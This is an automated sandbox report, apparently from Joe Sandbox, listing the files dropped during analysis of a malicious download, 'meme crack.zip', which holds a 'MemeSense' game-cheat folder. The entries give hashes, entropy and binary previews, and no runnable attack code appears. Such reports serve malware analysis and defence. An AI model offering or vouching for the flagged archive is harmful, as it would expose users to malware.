File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jun 15 08:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.003717912139931
Encrypted:	false
SSDEEP:	48:87gd4T8E+cH/ZidAKZdA1seh/iZUkAQkqehsy+2:87HvR9Qly
MD5:	764B65CBEB5CDA73915B118EC33994A1
SHA1:	DE0566D959B4A7574E9C7B6C0B9AB79AEFB92BFB
SHA-256:	46DE1D895B82D54F319DFBA18586605251E37A41891E36EE30A09F722854459E
SHA-512:	B35BDF2F88ED19FF57287E90A23DEDFB349AE4486883005210E535C93702BAD51593F0912B47AE4FC4813D9697340687C6E5A68A9DA5D89440091240D9590063
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....2..z....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0107871608167605
Encrypted:	false
SSDEEP:	48:8Bd4T8EAH/ZidAKZdA14meh7sFiZUkmgqeh7syy+BX:8kvIngy
MD5:	3370925A83769721BB116459A1C88206
SHA1:	DB674B0816DB49502E92FC59F421574DA5B5E96B
SHA-256:	15F6F28170300A261DFE5270A81D8B002F55FE8CE79D83D46F0B5DA08996D6CD
SHA-512:	0644EF3C919EBD6EEDF49CA5B97F990F17CC7A76325069E17A8B3C94959993F913C0796E250A33EB355329EF7A7E4376D14BF75250EF5A0614EDA39F39379EFD
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jun 15 08:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.001675569303346
Encrypted:	false
SSDEEP:	48:8Xd4T8E+cH/ZidAKZdA1TehDiZUkwqeh4y+R:8GviKy
MD5:	99DD3132506779A80DDCCBBE5FFDD220
SHA1:	BE1A10E662A14F03AA4E707E995CDC0389A4E088
SHA-256:	3D971FE080154E8A115AE64832FED0991A1DEDC6F09D7E2BCE2D13022E67D8B6
SHA-512:	7ABB53E0A76275A90A0631FA0DF043F9FDE48A3860A009E134F786F12D18FEE308B14B7456F90816E0B938C9F974CC752D7C81D007CF66E8798C612DB9B1BAD3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......z....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jun 15 08:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.991468264384696
Encrypted:	false
SSDEEP:	48:8P7yd4T8E+cH/ZidAKZdA1dehBiZUk1W1qehmy+C:8PZvy9Gy
MD5:	E86FF5DEF02C8105459AFE8F7F9A59CD
SHA1:	088CCC8095B2210CC63DF6AD03CEAE66711441DD
SHA-256:	D6D7771C720E54961760B6E87D29634A336C722D3B70094C91498C08C4974A3D
SHA-512:	F51A7CA8BD10F81B206039FB5F96C830155BDB158908E8EDD45029684C57932D8DA40F960CDD66ADAD5CAF2DCE90D613B030DAC1BCAFE8B6319D4DD2AD2362DA
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......z....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jun 15 08:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0000547178922945
Encrypted:	false
SSDEEP:	48:8fd4T8E+cH/ZidAKZdA1duTeehOuTbbiZUk5OjqehOuTbgy+yT+:8evoTfTbxWOvTbgy7T
MD5:	21872FB147EE36A59F4420607FB216F8
SHA1:	F18ADD2BBC0D5DFEC6D05EEB1F8AB4ABB6FDB281
SHA-256:	DB937815B097F7CA9C605E6F2366F7230AA6AF1BF241F1DDB646407A7F3ADD7A
SHA-512:	7C69AA4A99A9D1BD7E7FA0797BD8E38684116E6184CD4684B64A64F98D25D0ECC7D1C21E75D5EDA5F3B8CB10D7A839266B4FBC13ED199D93BC672694EFF72571
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......y....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\48a23937-84de-4260-a950-1eea9bda8a5a.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	10692949
Entropy (8bit):	7.99986296835301
Encrypted:	true
SSDEEP:	196608:M2DQaY4OYWzhxvc0mNwNsvFOZ/cAuB2d8bJ2QSJ3yIbcc:MAhWdBcA9Rrnd8bJ2DJCIbcc
MD5:	03E39E86DF2AA553B7479DAFDC2007C3
SHA1:	B504C0D4B912BED2D94C448DA898D4FAA5E5ADA3
SHA-256:	A5B7903D6C4BC37E52F37B8BCA2BD713D4F4FB6D547E28DBE3BF9A946B9B0B48
SHA-512:	CCED3F6E63F38CDC06883CA01C4E64C2D5757F6248F53D4AC8B102DCAE7B6A8963E7BD80C8E23285CBEE137AF77A859CA296FCCB703A40AAA7A54AF02E29FE28
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	PK.........L.X................meme crack/PK.........L.X................meme crack/MemeSense/PK.........L.X................meme crack/MemeSense/fonts/PK...........X...<...x/..(...meme crack/MemeSense/fonts/esp-icons.ttf.]......VL...}L>..K......Rff.)3...2.S.N.y...S..[......T.I.e.}.:.I.dI....~.+.mF7.. .e....nu.....G.....].&....:W}.$..Xw.7............""..y#<...s7.....j''............UU.-........z[.JEb..F....w..9.U.#.....m.pG.......UI....H....L-<:...I=fJ...H..G%..g.w....Q.......W..%.0.+.i.i<1.J.......\|....y."...-.w........E.tn.....Q&N..\|.XW..z..kw....K.+.k......`.o.......>z.b.O\......S.>}..^..W.....U.z.....5.%.....1..g.H.....-..J?`.....%..=.......E........,.S.sq...).zg....Yf..V-.-.YV.-..&O...Em.z}...$.'h$.9<...`..-..^u..~/.68=76.......r...'.f.{.Q.....7..Qv......s...h.A...1./.D..FNS.....ZZu_...M.APq.iF...jh...U.5U6t....YE.d...S9.U....W.t....z..9...MYA...Y..UMV.fp...\|..T...R....E....P..y...W.......}n...Z%.;..}..y.(\)..V..P.It...U.S....+*....RW.

C:\Users\user\Downloads\meme crack.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	10692949
Entropy (8bit):	7.99986296835301
Encrypted:	true
SSDEEP:	196608:M2DQaY4OYWzhxvc0mNwNsvFOZ/cAuB2d8bJ2QSJ3yIbcc:MAhWdBcA9Rrnd8bJ2DJCIbcc
MD5:	03E39E86DF2AA553B7479DAFDC2007C3
SHA1:	B504C0D4B912BED2D94C448DA898D4FAA5E5ADA3
SHA-256:	A5B7903D6C4BC37E52F37B8BCA2BD713D4F4FB6D547E28DBE3BF9A946B9B0B48
SHA-512:	CCED3F6E63F38CDC06883CA01C4E64C2D5757F6248F53D4AC8B102DCAE7B6A8963E7BD80C8E23285CBEE137AF77A859CA296FCCB703A40AAA7A54AF02E29FE28
Malicious:	true
Reputation:	unknown
Preview:	PK.........L.X................meme crack/PK.........L.X................meme crack/MemeSense/PK.........L.X................meme crack/MemeSense/fonts/PK...........X...<...x/..(...meme crack/MemeSense/fonts/esp-icons.ttf.]......VL...}L>..K......Rff.)3...2.S.N.y...S..[......T.I.e.}.:.I.dI....~.+.mF7.. .e....nu.....G.....].&....:W}.$..Xw.7............""..y#<...s7.....j''............UU.-........z[.JEb..F....w..9.U.#.....m.pG.......UI....H....L-<:...I=fJ...H..G%..g.w....Q.......W..%.0.+.i.i<1.J.......\|....y."...-.w........E.tn.....Q&N..\|.XW..z..kw....K.+.k......`.o.......>z.b.O\......S.>}..^..W.....U.z.....5.%.....1..g.H.....-..J?`.....%..=.......E........,.S.sq...).zg....Yf..V-.-.YV.-..&O...Em.z}...$.'h$.9<...`..-..^u..~/.68=76.......r...'.f.{.Q.....7..Qv......s...h.A...1./.D..FNS.....ZZu_...M.APq.iF...jh...U.5U6t....YE.d...S9.U....W.t....z..9...MYA...Y..UMV.fp...\|..T...R....E....P..y...W.......}n...Z%.;..}..y.(\)..V..P.It...U.S....+*....RW.

C:\Users\user\Downloads\meme crack.zip.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	10692949
Entropy (8bit):	7.99986296835301
Encrypted:	true
SSDEEP:	196608:M2DQaY4OYWzhxvc0mNwNsvFOZ/cAuB2d8bJ2QSJ3yIbcc:MAhWdBcA9Rrnd8bJ2DJCIbcc
MD5:	03E39E86DF2AA553B7479DAFDC2007C3
SHA1:	B504C0D4B912BED2D94C448DA898D4FAA5E5ADA3
SHA-256:	A5B7903D6C4BC37E52F37B8BCA2BD713D4F4FB6D547E28DBE3BF9A946B9B0B48
SHA-512:	CCED3F6E63F38CDC06883CA01C4E64C2D5757F6248F53D4AC8B102DCAE7B6A8963E7BD80C8E23285CBEE137AF77A859CA296FCCB703A40AAA7A54AF02E29FE28
Malicious:	true
Reputation:	unknown
Preview:	PK.........L.X................meme crack/PK.........L.X................meme crack/MemeSense/PK.........L.X................meme crack/MemeSense/fonts/PK...........X...<...x/..(...meme crack/MemeSense/fonts/esp-icons.ttf.]......VL...}L>..K......Rff.)3...2.S.N.y...S..[......T.I.e.}.:.I.dI....~.+.mF7.. .e....nu.....G.....].&....:W}.$..Xw.7............""..y#<...s7.....j''............UU.-........z[.JEb..F....w..9.U.#.....m.pG.......UI....H....L-<:...I=fJ...H..G%..g.w....Q.......W..%.0.+.i.i<1.J.......\|....y."...-.w........E.tn.....Q&N..\|.XW..z..kw....K.+.k......`.o.......>z.b.O\......S.>}..^..W.....U.z.....5.%.....1..g.H.....-..J?`.....%..=.......E........,.S.sq...).zg....Yf..V-.-.YV.-..&O...Em.z}...$.'h$.9<...`..-..^u..~/.68=76.......r...'.f.{.Q.....7..Qv......s...h.A...1./.D..FNS.....ZZu_...M.APq.iF...jh...U.5U6t....YE.d...S9.U....W.t....z..9...MYA...Y..UMV.fp...\|..T...R....E....P..y...W.......}n...Z%.;..}..y.(\)..V..P.It...U.S....+*....RW.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4926
Entropy (8bit):	3.24645488215055
Encrypted:	false
SSDEEP:	48:FaqdF78F7B+AAHdKoqKFxcxkFiF7KaqdF7CH+AAHdKoqKFxcxkF8d:cEOB+AAsoJjykePEy+AAsoJjyk8
MD5:	D90411125DBC31AABAC550C62CBC2274
SHA1:	EDB4FC51E78E857F765B09C0975B24F05EC095F8
SHA-256:	092B2535A23A488CD543C73B9E4192EF859AC2BA3EF1456CDE46920083F4BE7D
SHA-512:	5E916C91CB6101E70DEC7D69A9F6A0657208B5BDFD47D13062836834136433612F3DD5ABC3D3E1C4E97D54E0AD4B78DE7E909D251425B9D028057D613F795F90
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. O.c.t. .. 0.6. .. 2.0.2.3. .1.1.:.3.5.:.2.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.41829583405449
Encrypted:	false
SSDEEP:	3:QOvh+vNbn:QAhQFn
MD5:	F97F4A22DD531656ED585029C638E761
SHA1:	FE3D9D7BE78522E4997E21C9564702E8CA0B4029
SHA-256:	E43F8F9CDBCE1A14113015A09F113A55A1D3B1C47A737062A897369352863BDF
SHA-512:	CAF4F4000AA6130E44977E9C16A5F734B47FA7BFA01CBF3917B785D5AC328F492385D1ED4B98D10284FE3868CA556FB8177D6E0880CAC513FB4751495921A50D
Malicious:	false
Reputation:	unknown
Preview:	.^..Iq.O..b* ..X@?......

C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\a3b45ef6-7149-4f03-9f8a-622a2089db58

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	6.183574413985428
Encrypted:	false
SSDEEP:	12:5QHkjS42FMvxOvRwybu3UL9V+1oSQvyxd95:5vv5OmyiAO1oSQ4
MD5:	4BAFF051796202F0A7B7A21868F45802
SHA1:	9B6E249483EADB0BA2DDBA0DEAF2E6CD8918A7E5
SHA-256:	EF374116A3B5FDA0656044ECD76B0A6801E4B6F7C9AC20FC85715A95147CEA6A
SHA-512:	18F4B29BDA285F260FDBD14D4240558C2826F51D58E1EE9C76B6E9525B37EC9E73DF2674CDAFE5DC9534699EBF431873C92644B0D97D37642002EFA3BB220959
Malicious:	false
Reputation:	unknown
Preview:	............a.3.b.4.5.e.f.6.-.7.1.4.9.-.4.f.0.3.-.9.f.8.a.-.6.2.2.a.2.0.8.9.d.b.5.8.........................................................`rf..}b.@........f....I...L.~.F..~..6O...K.~A.y.....(.......Q.o..r.......Or....D0.{~..]NF.f?N.,.n%vv... @.s.C$..".E!h .x...l9..q..FA..{*..u.m+p...VD....,.9.z.k......jH#P.a.d....@........f...((T!...........u.k6...f..b\|?l,6..?..`=...Po..~..R8.>.G$.K.G.r....I._o.1...c..v=......O..B. .`..I~..r).7S......................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	7.97551107919375
Encrypted:	false
SSDEEP:	192:nJotApc1YiJtL0tm+36ln5J+ShK/3xLz3U8n6SkkE5AmzAq1:nJUOc1Ya0tmyezpKJnxk5AmzL
MD5:	6DB24C2C89D6DCDD1B4508E6D54ADA24
SHA1:	73EA4E2A3264C3D856D688510451CAE1E7B500BC
SHA-256:	9CD6CFD8C0EDAB53EDC8ED3DD9E6FD3EEE0AA3437262E45DD172EB9EC9AA9398
SHA-512:	31EC4DAB1EB5072285EA46A0C0D6E699F82E1ACB5F285641D942BC359B6EED81BA4B918CDFA72F3BAA1BE96390124EFA981AFD6F041482585552FF4CE27CE59B
Malicious:	false
Reputation:	unknown
Preview:	....t+..................z..O.......^..Iq.O..b* ..X... 0...L.o.c.a.l. .C.r.e.d.e.n.t.i.a.l. .D.a.t.a........f...... ...<.i.}....9J...?d..../c..Kc............. ...ypF2...C...U..3....(32"...u.;..@p..$...u.......B;...h.\$...6..S....,..V.-.i.&..z.w.\|MY1.H..dT..X.t.y..+.W...]+;.......w....uV.q..F.G\f.....r......4.8I.P..P..n .$1f.W..)N..H9....^.1..../...t...'!..k8.u..1-. ..!<...8:h......k..d[.X..Z.q_...t.\.0..qgN.....d....l..p@U.5.!G.\|Pfe.....G..sb.T...X...b.b.<".....Gd.N...h\|<q.I.....T.(......[bK.T....l.>.r.p7H....&.Y.2....Rf.E.Hm.{c...0..Ya.e.f........L...}_..NP....._.'.J!$d.i:.YF......p...I./..K.>....L...b....C.v.OO.~a....J........j\\.;,..s.e...)...4O.4pdF..L.....al..._.........=..)..+...3.....]..1.....%.....9.x\|t.$.:......yK.%..../n...z.Ku...k.5....1Yj9.&...!..V.-].N.....e...~.d6.)0.....[.".F..y.W.l..8....E.FR.)..W.o..(.+.....F.-4.z...../...O...w.=..J.....B'..D{},}../vrU..6.V.\|x.3...>b,i.VJok.D">....>..O.u.T..e.H..`.O/....h...BD...*j...R3j2qd...

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	21136
Entropy (8bit):	5.612387965501859
Encrypted:	false
SSDEEP:	384:+VBrRpdxcuwvWXcC7YqaDRnLtIGljYjBVkUH5F8Gbn84AvZX:wrTbPXVGR5IGjwB3ZWGb87h
MD5:	48859842DF12CDD86A6175980EE34141
SHA1:	FB2524D17ACB0BB20962F9585D33010BCB6C2AC6
SHA-256:	0444BBCF1EB646F94792740FAAFE7B7A5C0A72DE78C736BDE9ECE058D9FE2900
SHA-512:	20F95F0D8C8364F700415CB6476C1A4183CDFD1557213E9C52E56D62813D077F1922E5DB1A8FE5370CCCB01B5CF668D7E53D89DC9694DCBEC53186043BF3F21D
Malicious:	false
Reputation:	unknown
Preview:	@...e..........._.......r.m.........z.....T..........@..........H...............o..b~.D.poM...J..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.l.....#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_1845950350\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	unknown
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_1845950350\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1862
Entropy (8bit):	6.00616871206187
Encrypted:	false
SSDEEP:	48:p/hUI1Bw2vk1cVAdInkaknqBlTvi4qj16kGN1y+koxQuN7:RnhMGVQIkaIqBlvqjYR/B5Qk
MD5:	B7A903545C78EA7555231CDDA0CCD8BA
SHA1:	81F7BD7738837540842292A547FB2B91C25250FD
SHA-256:	E34C603FA36A5EABF815E24C50C2BB4A7589D6C959FC09E6A8773E079EB2B8A5
SHA-512:	DF2B3FA8E147500B468D83E9A6FA39A9B77C7162783E512A332DCBAC8099A094084337B3E3F71E755FEF070BBE56C4266D131236D58AAA5559BD5DFE610EF89B
Malicious:	false
Reputation:	unknown
